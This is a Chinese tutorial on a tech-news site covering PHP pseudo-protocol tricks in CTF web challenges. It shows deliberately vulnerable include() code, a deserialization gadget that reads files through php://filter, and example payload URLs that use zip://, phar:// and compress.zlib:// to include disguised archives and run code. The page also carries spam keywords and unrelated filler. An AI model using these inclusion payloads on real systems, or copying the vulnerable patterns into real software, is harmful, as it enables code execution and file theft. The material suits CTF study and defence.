91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行ctf中php偽協議的考查

發布時間:2021-10-23 09:27:24 來源:億速云 閱讀:381 作者:柒染 欄目:網絡安全

今天就跟大家聊聊有關如何進行ctf中php偽協議的考查,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。                                                                         

php://input協議

第一個例子

flag.php

<?php$flag = 'flag{flag_is_here}';

test1.php

<?php

include('flag.php');

$a= $_GET["a"];

if(isset($a)&&(file_get_contents($a,'r'))=== 'this is test'){

echo"success\n";

echo$flag;

}

else{

echo"error";

}

看上面php代碼可知當讀取文件的內容是thisis test時才顯示flag,我們并不知道那個文件有這個內容,我們可以使用php://這個協議php://input可以得到原始的post數據,訪問請求的原始數據的只讀流,將post請求中的數據作為PHP代碼執行,如下操作來繞過:

使用條件:

allow_url_fopen:off/on

allow_url_include:on

第二個例子

php://input實現代碼執行

test1.php改為如下

<?php

$a= $_GET["a"];

include($a);

注:只在php5.2.17 下測試成功,其他均出現報錯,原因未知。

php://filter/convert.base64-encode/resource=

看另外一個代碼:

<?php

$a= $_GET['a'];

include($a);

如何顯示flag.php的內容呢?直接包含是不會顯示的,這時就要用到這個php://filter/convert.base64-encode/resource=取源代碼并進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了。

php://filter在雙off的情況下也可以正常使用;

allow_url_fopen:off/on

allow_url_include:off/on

利用反序列化讀取文件

借鑒2016xctf 一道題的思路,代碼被我簡化了:

<?php

classflag{

   public$file;

   publicfunction __tostring(){

       echofile_get_contents($this->file);

return'yes';

   }

}

$a= new flag();

$a->file= 'php://filter/convert.base64-encode/resource=flag.php';

$data= serialize($a);

echo$data.'<br>';

echounserialize($data);

定義一個flag類,并重寫了tostring(),我們先new一個新對象,并給變量賦值,最后序列化一下。

假設在某個題目中序列化后變量是可控的而且我們知道類內容,那我們就可以通過可控變量實現任意文件讀取,如上代碼中,反序列化過程中實現了flag.php文件的讀取


file://協議

file://協議在雙off的情況下也可以正常使用;

allow_url_fopen:off/on

allow_url_include:off/on

file://用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響

前幾天某比賽web第二道題就是利用注入控制反序列化,file://協議讀取本地文件

注:file://協議必須是絕對路徑

zip://,bzip2://, zlib://協議

雙off情況下正常使用

allow_url_fopen:off/on

allow_url_include:off/on

payload:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt

先將要執行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。

由于#在get請求中會將后面的參數忽略所以使用get請求時候應進行url編碼為%23,且此處經過測試相對路徑是不可行,所以只能用絕對路徑。


phar協議

1.jpg是一個里面含有1.php的壓縮包,改了后綴名,包含方法如下。

include.php?f=phar://./images/1.jpg/1.php


zlib://協議

使用方法:

compress.zlib://file.gz

絕對路徑

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/1.jpg

相對路徑

http://127.0.0.1/cmd.php?file=compress.zlib://./1.jpg


總結

上面只是最基礎的例子,在ctf中要會活用,正所謂再難的題也離不開基礎。

題外話:近來國內ctf比賽越來越趨向于國際化,pwn、re題目占了絕大部分,web題很少或者直接沒有,作為一個web狗要堅強的走下去。

看完上述內容,你們對如何進行ctf中php偽協議的考查有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

宁津县| 皮山县| 开平市| 安义县| 桃园市| 玉环县| 磐石市| 芜湖市| 张掖市| 慈利县| 临猗县| 拉孜县| 新泰市| 同心县| 砀山县| 台江县| 清苑县| 亳州市| 崇义县| 辉县市| 于田县| 榆社县| 池州市| 阿拉善右旗| 大名县| 虎林市| 冀州市| 嘉峪关市| 承德市| 铜陵市| 阿拉善左旗| 闽侯县| 二连浩特市| 昌宁县| 赣榆县| 秀山| 百色市| 洪湖市| 屯门区| 青川县| 七台河市|